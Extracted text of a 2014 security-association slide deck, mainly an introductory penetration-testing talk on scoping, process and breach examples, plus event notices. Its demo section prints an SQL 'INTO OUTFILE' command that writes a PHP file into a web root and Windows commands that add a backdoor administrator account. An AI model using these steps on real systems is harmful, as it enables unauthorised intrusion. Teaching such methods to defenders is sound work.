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Speaker Topic Date Time Venue

Julian Berton Penetration Testing 101 17/09/14 5:00 PM NAB

AISA National Conference          16th to 17th October 2014 (Central Pier Docklands)

John Hall Testing your security posture 101 - Case study and 
insights

11/11/14 5:30 PM Telstra

Social Event (Lunch) November - TBC

Events for 2015  – Penetration Testing 201, Digital Forensics 201, Risk Management, Thought Leadership Series, 
Privilege Management, Case studies and more……..

Dates and times subject to change, please visit the website for the latest information
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Date:  16th to 17th October 2014
Venue: Melbourne (Central Pier Docklands)

• Now in its 7th year, 
• Multiday event with multiple track sessions outside of keynotes. 
• Conference is free for members – currently 680+ registered attendees

16th October - AISA National Conference Dinner for 380 attendees ($79 for 
members and $200 for non members).

AISA National Conference
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The AISA awards are your awards, candidates are nominated by members and 
winners will be voted for by members. Awards will be made in the following 
categories:

• Information Security Rookie of the Year
• Information Security Professional of the Year
• Information Security Project of the Year 
• Security Employer of the Year

More information: http://www.aisa.org.au/national-conference/aisa-awards/

AISA Awards
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Penetration Testing 101
By Julian Berton



Julian Berton
● Years of web development experience 

● Currently working at Securus Global as a security consultant

● OWASP Melbourne chapter lead

Contact

● meetup.com/Application-Security-OWASP-Melbourne/

● @JulianBerton (Twitter - not very active)

http://www.meetup.com/Application-Security-OWASP-Melbourne/
http://www.meetup.com/Application-Security-OWASP-Melbourne/


You!

Now you know about us , its only fair we know a bit about 
you :)



Tonight?

● What is a pen test?
● Scope
● Techniques
● Process (Recon, Analysis, Exploitation, Reporting, 

Remediation)
● Tools
● Demo!
● Why its important



What is a Penetration Test? 

● Called “pentesting”,“pen testing”, or “security testing”, is the practice of 

attacking your own or your clients' IT systems in the same way a hacker would to 

identify security holes.

● The idea is to not harm the client network or business interests but rather to 
identify issues and aim in resolving them.





Good Pen Test(er) vs Bad
The quality of their reports should give you some idea…

From a terrible report -> 
See here for more: 
http://goo.gl/qdQUgE 

As should any of their requests...

For a terrifying account ->
See here for more:
http://goo.gl/Gs2rdZ 

http://goo.gl/qdQUgE
http://goo.gl/qdQUgE
http://goo.gl/Gs2rdZ
http://goo.gl/Gs2rdZ


● Research any firm you plan on hiring or are recommended

● Get a sample of their work which highlights their methodology and practices

● Work with them to produce a scope that suits your needs and budget

● If you’re happy with the work at the end, provide feedback. It helps everyone 

in the industry!

● Don’t just choose the cheapest proposal that’s responded to your tender

Good Pen Test(er) vs Bad (Cont’d) 



Vulnerability Assessment vs Pen Test?

● Vulnerability assessment (VA) is usually done with the full knowledge and 

cooperation of the client technical teams. Working with them rather than ‘against’ 

them.

● VA is not as reliable as exploits cannot be confirmed or tested.

● Not as fun for us pen testers ;)

● Pen tests will show real results. Ie. “ Yes this can result in an attacker rooting your 

entire domain’.

● Pen testing allows teams to ‘pivot’ through your network and pick up additional 

findings that might otherwise have been missed. 



● Scope is the limits around what a pen tester can and cannot touch.

● Its up to the organization to decide what avenues of attack will be tested. 

● The fewer areas tested the more in-depth testing can be but the less 

realistic the test will be.

● Black hat attackers are not limited by any ‘scope’ 

Scope



Attacker vs Professional Hacker

● An attacker has unlimited time and potentially money to find and 

exploit a company.

● A professional hacker has time constraints and scope limitations but 

has the authority to ask for help or information. 



JPMorgan Chase Breach

● Months of recon, planning and building before 

attacks started. 

● “Hackers first breached JPMorgan’s network by using a previously 

unknown flaw in one of its public-facing websites”

● “The hack began in June and was not detected until mid-August”

● “Silently siphoning off gigabytes of information, including 

customer-account data, until mid-August”

● “Multiple zero-day strategies “



Black vs Grey vs White Box Testing

● Whats the difference?

● Which one gives the most value to a business?



On-site vs Remote Testing

On-site:
● Interact with local resources and test environments
● Low latency means more accurate testing
● Issues can be resolved faster

Remote:
● Allows testing of external defences such as IDS/IPS systems (Often 

done by accident!)
● Can be quicker setup time 



Scope - Network Infrastructure

● Wired

● Wireless

● Internal

● External

● 3rd Party providers

● Telephone networks (analogue, digital, mobile, 

VoIP)



Scope - Physical Access
Types of users:

● Staff access methods 
● Contactor access permissions
● Building Maintenance/Security/Cleaners access permissions
● Malicious outsiders

Areas of concern:
● Restricted areas (Data-centres, staff only areas, etc)
● Public Areas (Lobbies/meeting rooms/restrooms)
● External 3rd party controlled areas (Hosted data centers? Partners?)
● Anywhere with a network port or wifi access 

Technologies in place:
● RFID/Badges/Magstripes
● Locks
● Alarms
● CCTV



Scope - Social Engineering
● Pretending to be a user

● Pretending to be an admin

● Phishing/Spear Phishing/Phraming etc…

● Spoofing Emails

● Dropping USB sticks strategically

● Looking for Post-It Notes

● Dumpster diving



Scope - Application Security

● Mobile (iOS and Android) 

● Web (Static or dynamic)

● API (SOAP or REST)

● Custom desktop applications that interact 

with the network



Why do we bother?

● Are IDS/IPS’s enough?

● Cant we just put a WAF infront of it?

● Ill just run automated tools...

● Back to JPMorgan….



Weekly Data Breaches



Process of a Penetration test

● Reconnaissance

● Analysis

● Exploitation (Unless its a VA)

● Reporting

● Remediation 



Process of Modern Day Attackers





Tools of the trade

● Too many to mention but here are the main ones:



Demo!



More Demos!
● SQL Injection to control all the things!













SELECT * INTO OUTFILE 'E:/Program Files/Apache Software Foundation/Apache2.2/htdocs/loop-16.php' from 
temp;

After the entry was placed into the database it was necessary to output the data stored in the table to an 
executable .PHP file. This was done by executing the following command:



net user loop 53cur3p455word!? /add
net localgroup administrators loop  /add

While examining files stored 
on the server we found a file 
named test.php in the 
directory shown here. The 
output provided an Active, 
valid Active Directory 
username and password as 
seen in the screenshot





















Outcome of a (hopefully) successful pen test

The idea is that you learn something about your network you didn’t know 
otherwise. 
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